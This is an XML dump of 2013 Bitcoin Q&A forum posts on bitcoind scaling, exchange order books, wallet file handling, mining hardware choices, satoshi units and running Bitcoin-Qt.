  <row Id="10878" PostTypeId="1" CreationDate="2013-05-13T20:36:03.610" Score="1" ViewCount="303" Body="&lt;p&gt;What I mean by the title is, say If I create a service with bitcoind being used to create and store large numbers of accounts and address, is it likely to take the strain? Can I setup multiple instances of bitcoind to access information about the network or would I need to one large instance of a bitcoin daemon to handle everything?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not is there an alternative to be used that can keep up with an expanding web service?&lt;/p&gt;&#xA;" OwnerUserId="2828" LastEditorUserId="2828" LastEditDate="2013-05-13T21:24:27.970" LastActivityDate="2013-05-13T23:08:32.110" Title="is bitcoind reliable when depending on it for web services?" Tags="|bitcoind|server|website-integration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10879" PostTypeId="1" AcceptedAnswerId="10882" CreationDate="2013-05-13T21:51:40.127" Score="4" ViewCount="1343" Body="&lt;p&gt;On &lt;a href=&quot;https://btc-e.com/&quot; rel=&quot;nofollow&quot;&gt;BTC-E&lt;/a&gt;, you can see the recent trade history for the different currency pairs. For example right now you see these recent trades:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;14.05.13 01:27  Sell    112.75 USD  4.77859 BTC     538.7860225 USD&#xA;14.05.13 01:27  Sell    112.76 USD  0.359638 BTC    40.55278088 USD&#xA;14.05.13 01:27  Sell    112.76 USD  0.122198 BTC    13.77904648 USD&#xA;14.05.13 01:27  Sell    112.76 USD  0.022195 BTC    2.5027082 USD&#xA;14.05.13 01:27  Sell    112.76 USD  0.0100155 BTC   1.12934778 USD&#xA;14.05.13 01:27  Sell    112.76 USD  1.20736 BTC     136.1419136 USD&#xA;14.05.13 01:27  Sell    112.76 USD  0.360915 BTC    40.6967754 USD&#xA;14.05.13 01:26  Buy     112.9 USD   1 BTC           112.9 USD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shouldn't every trade of type &quot;sell&quot; match a trade of type &quot;buy&quot;? Or at least the amount of all recent sell-trades should match more or less the amount of all recent buy-trades? If you look at the history of the last 15 minutes right now, the amount of BTC in sell-trades is much higher then the amount of buy-trades. How can this be?&lt;/p&gt;&#xA;" OwnerUserId="4564" LastEditorUserId="1307" LastEditDate="2013-05-13T23:23:34.313" LastActivityDate="2017-12-04T17:09:58.617" Title="Understanding trading history" Tags="|exchanges|trading|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10880" PostTypeId="2" ParentId="10878" CreationDate="2013-05-13T23:08:32.110" Score="1" Body="&lt;p&gt;I think bitcoind is perfectly suitable for it, if you can securely access it via RPC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily create a separate bitcoind instance when you experience that only one instance cannot handle the load, but keep in mind that a bitcoind instance can only send coins it has the private key from, so you will have to separate all your queries into two parts, one for every instance.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-13T23:08:32.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10881" PostTypeId="2" ParentId="10174" CreationDate="2013-05-13T23:21:40.533" Score="1" Body="&lt;p&gt;I had an awful time when I was paid bitcoins from a new international employer instead of USD.   But after I figured it all out its pretty easy however converting it was expensive so I'm trying to find a different converter but here's how you do it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to bitstamp.net, open up a free account and buy your bitcoins from your wallet.   Its free.&lt;/li&gt;&#xA;&lt;li&gt;Go to bitinstant.com, and you'll pay from your bistamp coupon to your Paypal account.   Bitinstant took almost 10% USD so I'm trying to find someone else.   But it is quick and they are reliaible.   If there's a problem, their support team responds quickly.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I had actually called Paypal about bitcoins and they said they are very familiar with bitcoins now and as long as you are a verified member of Paypal, there won't be a delay in the transaction.&lt;/p&gt;&#xA;" OwnerUserId="5015" LastActivityDate="2013-05-13T23:21:40.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10882" PostTypeId="2" ParentId="10879" CreationDate="2013-05-13T23:22:54.607" Score="3" Body="&lt;p&gt;Most exchanges work with an order book. In this method, the two parties involved in the trade are slightly different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order book lists prices at which people want to buy and prices at which people want to sell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see btc-e's order book on their &lt;a href=&quot;https://btc-e.com/&quot; rel=&quot;nofollow&quot;&gt;homepage&lt;/a&gt;. Let's assume the following simple order book:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELL ORDERS:&#xA;    person 1 wants to sell 3 BTC for 101 EUR/BTC&#xA;    person 2 wants to sell 1 BTC for 100 EUR/BTC&#xA;BUY ORDERS:&#xA;    person 3 wants to buy  2 BTC for  95 EUR/BTC&#xA;    person 4 wants to buy  5 BTC for  90 EUR/BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the ordering of the orders, it's on purpose. In all order books, the highers buy price is always lower than the lowest sell price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, these people are passive traders (this is afaik not an official term), meaning that they are waiting for the price to reach a certain value in order to trade. Mostly, they do not need to buy/sell fast, but want to have a good price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, there are active traders, that want to do their trades immediately. So, when I want to buy 1 BTC immediately (&quot;at market price&quot;), I will have to pay 100 EUR for it, as this is the best sell offer I can buy from. If I wanted to fast sell 1 BTC, I would get only 95 EUR for it, meeting the best buy order to sell at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in fact, when an active trader wants to &lt;em&gt;buy&lt;/em&gt; 1 BTC, he actually creates a buy order for 1 BTC ar 100 EUR/BTC. This order will match the order from &lt;code&gt;person 2&lt;/code&gt;, so they will trade. This means that the trade is initiated by the buy order from the active trader. For this reason, this trade will be logged as a &lt;em&gt;buy&lt;/em&gt; trade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rounding up: &lt;em&gt;Trades are logged according to the type of trade the active trader did.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some things that are useful to keep in mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The bid/ask prices that most exchanges advertise, are the highest buy and lowest sell prices from the order book, respectively. &lt;/li&gt;&#xA;&lt;li&gt;A buy trade will raise the lowest ask price (or keep it the same), while a sell trade will lower the highest bid price.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-13T23:22:54.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10883" PostTypeId="2" ParentId="2368" CreationDate="2013-05-14T01:46:47.460" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Close Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Find your wallet.dat&lt;/li&gt;&#xA;&lt;li&gt;Rename to wallet.old&lt;/li&gt;&#xA;&lt;li&gt;Start Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Copy the address from the new empty wallet&lt;/li&gt;&#xA;&lt;li&gt;Close Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Rename (new) wallet.dat to wallet.new&lt;/li&gt;&#xA;&lt;li&gt;Rename wallet.old to wallet.dat&lt;/li&gt;&#xA;&lt;li&gt;Start Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Send all your Bitcoins to the copied address from new wallet&lt;/li&gt;&#xA;&lt;li&gt;Enter your password&lt;/li&gt;&#xA;&lt;li&gt;Close Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Rename wallet.dat to wallet.old&lt;/li&gt;&#xA;&lt;li&gt;Rename wallet.new to wallet.dat&lt;/li&gt;&#xA;&lt;li&gt;Start Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Your new wallet should now be unencrypted and all old addresses gone.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This solves both your problems.&lt;/p&gt;&#xA;" OwnerUserId="3267" LastActivityDate="2013-05-14T01:46:47.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10886" PostTypeId="1" CreationDate="2013-05-14T06:39:58.763" Score="1" ViewCount="2890" Body="&lt;p&gt;After reading on the topic of bitcoin for the past few hours I've heard a few terms again and again: mining with the CPU (pointless as of today), GPU mining (lots of people doing this), and then ASIC, and FPGA (field-programmable gate array). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With just a few hours experience in this, and although I've obviously seen the wiki's here and there which compare this hardware to that, the answer to this question could take into account some real-world factors, especially concerning the availability of the ASIC units (which are said to be much more efficient). E.g., there's talk of one particular one shipping, yet orders aren't being filled, doubts as to if they ever will be, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with that, an ASIC might be worth less consideration than another setup. The answer I'm looking addresses these different types of hardware (excluding CPU which we know are worthless) and which one might be right for someone who wants to join in on bitcoin hobby-wise, and eventually break even in terms of investment (within say, a year). This is only considering hardware and not pools, which I'm aware of.&lt;/p&gt;&#xA;" OwnerUserId="5019" LastEditorUserId="5406" LastEditDate="2016-03-17T15:00:30.633" LastActivityDate="2016-03-17T15:00:30.633" Title="What are the relevant hardware-mining options as of 13 May, and and how should one choose one over another?" Tags="|mining-profitability|mining-hardware|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10887" PostTypeId="2" ParentId="7338" CreationDate="2013-05-14T07:42:08.233" Score="0" Body="&lt;p&gt;There are now quite a few ways to hedge the price of BTC. One way is with IG Markets binary options. There are also CFDs (contracts for difference) at several providers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for &quot;dark pools&quot; this concept is impossible on BTC since every 10 minutes all transactions are broadcast.&lt;/p&gt;&#xA;" OwnerUserId="4710" LastEditorUserId="5406" LastEditDate="2013-10-19T12:20:42.803" LastActivityDate="2013-10-19T12:20:42.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10888" PostTypeId="2" ParentId="10886" CreationDate="2013-05-14T07:51:33.797" Score="1" Body="&lt;p&gt;All of the statistics you are after are on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Mining hardware comparison&lt;/a&gt; page of the Bitcoin wiki.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-05-14T07:51:33.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10889" PostTypeId="2" ParentId="10886" CreationDate="2013-05-14T07:56:39.727" Score="2" Body="&lt;p&gt;In order of hashrate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASIC &gt;&gt; FPGA &gt; GPU &gt;&gt; CPU&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&gt;&quot; meaning &quot;more powerful&quot;, while &quot;&gt;&gt;&quot; stays for &quot;completely outclasses&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently there are some ASICs out there, but not &lt;em&gt;so&lt;/em&gt; many to totally destroy the chances for the other devices to mine anything, so there's still some people mining with FPGAs and some with GPUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course those using FPGAs and GPUs already have them, and it would be a pretty bizarre business decision to &lt;em&gt;start&lt;/em&gt; using one of them right now (might make some kind of sense for the resell value: an ASIC's only purpose is mining bitcoins, while the other devices once obsolete might be used for something else).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Officially there are three ASIC manufacturers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://store.avalon-asics.com/&quot; rel=&quot;nofollow&quot;&gt;Avalon&lt;/a&gt;: first to complete an ASIC, ships big devices, but currently isn't taking new orders.&lt;/li&gt;&#xA;&lt;li&gt;Butterfly Labs: vapourware! Started collecting money almost one year ago, and constantly misleads his customers stating they are going to be &quot;ready in two weeks&quot;. Recently shipped a few devices to some selected members (journalists, etc.) and they were &lt;em&gt;very&lt;/em&gt; inferior to their specifications.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btct.co/security/ASICMINER-PT&quot; rel=&quot;nofollow&quot;&gt;ASICMINER&lt;/a&gt;: instead of focusing on selling hardware, they produce their own devices and use them, selling you shares in their company, giving you dividends; recently they also started accepting orders for small USB ASIC miner.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-05-14T07:56:39.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10890" PostTypeId="2" ParentId="10784" CreationDate="2013-05-14T08:36:45.517" Score="1" Body="&lt;p&gt;Done! Here's the resulting &lt;a href=&quot;https://gist.github.com/Sjors/5574485&quot; rel=&quot;nofollow&quot;&gt;script&lt;/a&gt;. Although I recommend you use &lt;a href=&quot;https://github.com/lian/bitcoin-ruby&quot; rel=&quot;nofollow&quot;&gt;bitcoin-ruby&lt;/a&gt; for anything serious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a couple of things that went wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I introduced a new bug during debugging: I commented out the hash_code_type field in the pre-signed transaction, which I needed to do in order to sign it with the JSON-RPC client. I forgot to undo that, so I was signing the wrong hash half the time. This became clear once I used bitcoin-ruby to create the same transaction and ask it what hash it was about to sign, something you can't (easily) do with the JSON-RPC client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The little_endian bit is not needed, although I'm still a bit confused as to why not. The correct line is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;signature_binary = @keypair.dsa_sign_asn1([SHA_256_HEX_STRING].pack(&quot;H*&quot;))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, good debugging tools and methodology are really important.&lt;/p&gt;&#xA;" OwnerUserId="4948" LastActivityDate="2013-05-14T08:36:45.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10891" PostTypeId="2" ParentId="3374" CreationDate="2013-05-14T08:45:48.437" Score="8" Body="&lt;p&gt;&lt;a href=&quot;https://gist.github.com/Sjors/5574485&quot; rel=&quot;noreferrer&quot;&gt;This gist&lt;/a&gt;, partially based on the answer by Runeks, shows how to transfer 0.01 bitcoins in Ruby. It fetches information from the previous transaction from Blockchain.info, so you just need to feed it your private key and address (the latter being redundant but useful for the demonstration). I added a lot of comments to explain the steps involved.&lt;/p&gt;&#xA;" OwnerUserId="4948" LastActivityDate="2013-05-14T08:45:48.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10892" PostTypeId="2" ParentId="9711" CreationDate="2013-05-14T08:48:51.397" Score="4" Body="&lt;p&gt;If you have already downloaded the data then you will have to move the data to the new folder. If you want to store them in D:\BitcoinData then click on &quot;Properties&quot; of Bitcoin.exe shortcut and add -datadir=d:\BitCoinData at the end as an example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;C:\Program Files (x86)\Bitcoin\bitcoin-qt.exe&quot; -datadir=d:\BitCoinData&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2013-05-14T08:48:51.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10894" PostTypeId="1" AcceptedAnswerId="11048" CreationDate="2013-05-14T11:55:45.517" Score="1" ViewCount="407" Body="&lt;p&gt;I have a question...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If I'm mining with a litecoind/bitcoind process, and a pushpool. How can i move the whole shablam to a new server/copmputer WHILEST saving the progress I have on this current round?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also, can i move the litecoind/bitcoind and/or pushpoold service and files without having to rebuild them from source on the new machine?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Help is highly appriciated!&lt;/p&gt;&#xA;" OwnerUserId="4867" LastEditorUserId="5406" LastEditDate="2016-03-31T17:15:11.093" LastActivityDate="2016-03-31T17:15:11.093" Title="How to keep my shares when moving a pool server?" Tags="|mining-pools|litecoin|pushpool|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10895" PostTypeId="1" AcceptedAnswerId="10902" CreationDate="2013-05-14T13:32:26.267" Score="7" ViewCount="2675" Body="&lt;p&gt;Is there some method how you can calculate the balance of an address without resorting to web-based API's? When I import a private key the rescanning of bitcoind takes hours. I know to get a balance you would need to iterate over all transactions in the whole chain, but maybe there is still some optimization possible.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2013-05-14T17:02:56.850" Title="Calculating address balance" Tags="|blockchain|bitcoind|json-rpc|api|balance|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10897" PostTypeId="1" AcceptedAnswerId="10904" CreationDate="2013-05-14T14:49:23.870" Score="3" ViewCount="21153" Body="&lt;p&gt;I understand how whole Bitcoins are traded (each coin has its own identifier, this identifier is associated with a wallet), though I do not understand how it is possible to trade parts of a Bitcoin (e.g. I can buy 0.7 BTC from Mt. Gox). How are the Bitcoins tracked once they are split into parts, and associated with different wallets?&lt;/p&gt;&#xA;" OwnerUserId="4682" LastActivityDate="2013-05-14T16:30:10.313" Title="How are parts of Bitcoins traded?" Tags="|transactions|wallet|exchanges|" AnswerCount="3" CommentCount="0" ClosedDate="2013-05-16T07:34:52.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="10898" PostTypeId="2" ParentId="10897" CreationDate="2013-05-14T15:05:30.067" Score="0" Body="&lt;p&gt;Your understanding of bitcoins is incorrect.  A bitcoin is only a number in a ledger, called the blockchain.  When someone receives bitcoins, a transaction is added to their ledger which shows them as having received the bitcoins.  When they send out bitcoins, a transaction is added to their ledger which shows them as having given away bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2013-05-14T15:05:30.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10900" PostTypeId="2" ParentId="10897" CreationDate="2013-05-14T15:07:44.313" Score="0" Body="&lt;p&gt;Each coin does not have it's own identifier.  You create a bitcoin &quot;address&quot; which is just a public key (you hold the private side which is proof that you own the address).  You can have an unlimited amount of public keys.  At all times, the blockchain contains information that defines &lt;em&gt;how many&lt;/em&gt; BTC each address owns.  The blockchain is like an accounting journal.  Everyone knows how many BTC every address owns at any one time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expanding on this, if you want to send BTC to someone, you send ALL of the BTC that address owns.  However, you send to more than one recipient, one of those recipients can be yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is demonstrated in this transaction:&#xA;&lt;a href=&quot;http://blockchain.info/tx/b2391755af7382c6643822a52e25620899396cc0dceab0a399033aeafa516310&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tx/b2391755af7382c6643822a52e25620899396cc0dceab0a399033aeafa516310&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address at the left sent 1.6628596 BTC to the first address and 10.57632087 BTC to the second.  This is also how you make &quot;change&quot;.  You send a portion of the owned BTC to the recipient, and the rest to yourself (and this also serves to further anonymize transactions).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing this, you can probably see that you can send a small portion (It's claimed that one BTC is infinitely divisible) out of one address and to another.&lt;/p&gt;&#xA;" OwnerUserId="5025" LastActivityDate="2013-05-14T15:07:44.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10901" PostTypeId="2" ParentId="10895" CreationDate="2013-05-14T15:17:58.370" Score="3" Body="&lt;p&gt;This is probably not a full solution, but maybe a possible optimization.  Since you send all BTC out of the address in every send transaction, you should only have to look at the transactions that happen after the last sending transaction to calculate the value at an address.&lt;/p&gt;&#xA;" OwnerUserId="5025" LastActivityDate="2013-05-14T15:17:58.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10902" PostTypeId="2" ParentId="10895" CreationDate="2013-05-14T15:31:30.907" Score="4" Body="&lt;p&gt;You would need to use a client node that has a different architecture, from the satoshi's client.&#xA;Specifically, the client must be able to quickly browse through all the unspent outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to check &lt;a href=&quot;https://en.bitcoin.it/wiki/Clients#Table&quot; rel=&quot;nofollow&quot;&gt;this table&lt;/a&gt; for clients that support &lt;strong&gt;Multi-wallet&lt;/strong&gt;.&#xA;Among them, there is a new client &lt;a href=&quot;https://en.bitcoin.it/wiki/Gocoin&quot; rel=&quot;nofollow&quot;&gt;Gocoin&lt;/a&gt;. It is currently in a testing phase, and you need to build it yourself from sources, but if you have a PC powerful enough to run it, it needs less than a second to give you an unspent balance of any standard bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="3056" LastEditorUserId="3056" LastEditDate="2013-05-14T17:02:56.850" LastActivityDate="2013-05-14T17:02:56.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10903" PostTypeId="2" ParentId="4800" CreationDate="2013-05-14T16:16:58.017" Score="0" Body="&lt;p&gt;There are a few good providers, try YOKU Cloud and bitvps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ref: &lt;a href=&quot;http://www.yokucloud.com&quot; rel=&quot;nofollow&quot;&gt;http://www.yokucloud.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ref: &lt;a href=&quot;http://www.bitvbs.net&quot; rel=&quot;nofollow&quot;&gt;http://www.bitvbs.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4372" LastActivityDate="2013-05-14T16:16:58.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10904" PostTypeId="2" ParentId="10897" CreationDate="2013-05-14T16:30:10.313" Score="6" Body="&lt;p&gt;It is not true that individual bitcoins have an identifier. In fact, individual bitcoins do not exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What your wallet holds are addresses. These addresses can occur in the Bitcoin block chain, which can - at its simplest - be seen as a big database of balances for each Bitcoin address. Your wallet also holds a private key for each address, which can be seen as the password needed to spend the balance that is accredited to the corresponding address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you spend some bitcoins, you send them from one of your addresses to another address. Only the person that owns the private key corresponding to the address, can spend the bitcoins on its balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, that still not explains how bitcoins can be divided into smaller fractions. In fact, the Bitcoin protocol does not really work with the unit bitcoin, but with a smaller unit, called &lt;a href=&quot;https://en.bitcoin.it/wiki/Units&quot; rel=&quot;noreferrer&quot;&gt;satoshi&lt;/a&gt;. 1 bitcoin equals 100,000,000 (= 10^8) satoshi. So 1 satoshi (=10^-8 BTC) is the smallest amount you can send.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that when you send 0.7 BTC, you actually send 70,000,000 satoshis.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-14T16:30:10.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10905" PostTypeId="1" AcceptedAnswerId="10908" CreationDate="2013-05-14T16:57:16.167" Score="4" ViewCount="2379" Body="&lt;p&gt;I'm using bitcoin-qt at the moment, and at the bottom of the download page it says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Do you have a computer that you keep switched on all the time, that's connected to the Internet? You can help the community by simply running the original Bitcoin client on it. The original client is more resource intensive and will take a complete day to synchronize. After that your computer will contribute to the network by checking and relaying transactions.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking the &quot;original bitcoin client&quot; just takes me to the same download as clicking &quot;bitcoin-qt&quot; (&lt;a href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/en/download&lt;/a&gt;). Does this mean leaving it open is mining, or doing something else? (or does it even use my resources?)&lt;/p&gt;&#xA;" OwnerUserId="5027" LastActivityDate="2013-05-14T18:47:15.030" Title="What are the effects of leaving Bitcoin-QT open?" Tags="|client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10906" PostTypeId="1" AcceptedAnswerId="10910" CreationDate="2013-05-14T17:12:59.413" Score="4" ViewCount="1902" Body="&lt;p&gt;I know that the idea of namecoin is to create distributed DNS system.&#xA;I also know that one can by bit address with namecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have never seen any bit domains. If they do exist, how reliable are they? &lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="1307" LastEditDate="2013-05-14T18:45:45.883" LastActivityDate="2013-05-14T18:45:45.883" Title="Are there many Namecoin domains in use?" Tags="|namecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10907" PostTypeId="2" ParentId="10905" CreationDate="2013-05-14T17:19:08.990" Score="0" Body="&lt;p&gt;The original bitcoin client (bitcoin-qt, yes) won't mine coins anymore. Leaving it open is mainly important as you donate a little bit of network capacity to the network. Basically your computer helps other people download the blockchain, and it relays some transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Donating network resources to bitcoin is important, so unless you have very limited internet access, or not enough RAM to handle it, just leave it open. I donate some 250GB a day to the network myself, and while it doesn't mean I get free bitcoins, it does feel good.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-05-14T17:19:08.990" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10908" PostTypeId="2" ParentId="10905" CreationDate="2013-05-14T17:19:17.767" Score="5" Body="&lt;p&gt;Bitcoin-Qt is the original Bitcoin client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leaving it open has no real consequences considering yourself individually, but there are some &lt;strong&gt;minor&lt;/strong&gt; effects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Effects regarding you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;When you leave your client open, your client will always be in sync with the network, meaning that you can always see your accurate balance. If you should close it, it will have to catch up syncing before it can show you your addresses' balances.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As explained in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/10743/1307&quot;&gt;this answer&lt;/a&gt;, when you send a transaction into the network, there is a small chance that it may get lost. In that case, when your client is still open, it will re-transmit the transaction automatically. When your client is closed, the transaction will be lost and never confirmed. Note that the chance that a transaction gets lost is very small.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Effects regarding the Bitcoin network as a whole:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin is a peer-to-peer system, in which all Bitcoin clients function as nodes. But not every node knows of the existence of all other nodes. A transaction is made by sending it to all nodes in the network. When your client is open and connected to the network, it has a list of other nodes it knows about. When one of them sends a transaction to all the nodes it knows, you help him by sending it forth to all the node you know about. This way you can help reduce the time it takes for a transaction to reach the whole network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Together with relaying transactions, your client will also check all transactions it receives. It is possible that some of them is malicious, meaning that the sender does not have the right to spend the bitcoins he is spending, or that these bitcoins are already spent. In that case, your client will ignore the transaction and not relay it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another thing your client does is helping new nodes synchronize. When a new client enters the network, it has to build the block chain from scratch. It will request other nodes to send parts of it to him so that he can save them. When your client is open, it will help other users download the block chain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;strong&gt;it is not an effect&lt;/strong&gt; of leaving your client open that your bitcoins are less protected. Encrypted wallets are only decrypted for spending bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;strong&gt;your client will not mine&lt;/strong&gt; while it is open, so the process it not very resource-consuming.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-05-14T18:47:15.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10909" PostTypeId="2" ParentId="9007" CreationDate="2013-05-14T17:24:24.343" Score="2" Body="&lt;p&gt;The whole idea of change is a bit hard to grasp when it comes to bitcoin.  With paper currency, its fairly obvious that you need change from a 20 dollar bill if you need to spend only 14 dollars.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory the Bitcoin protocol could have been set up to just send the exact amount as a transaction, but for the blockchain transaction log, I think it was set up like this for neat traceability.  If you didn't have the 'input = output - transaction cost' rule, nodes that verify all the transactions would instead need to calculate/determine the balances of individual addresses to see if they have enough coin to cover the transaction. I guess this would cost more in terms of database querying of the log, harder verification of transactions.. &lt;/p&gt;&#xA;" OwnerUserId="5028" LastActivityDate="2013-05-14T17:24:24.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
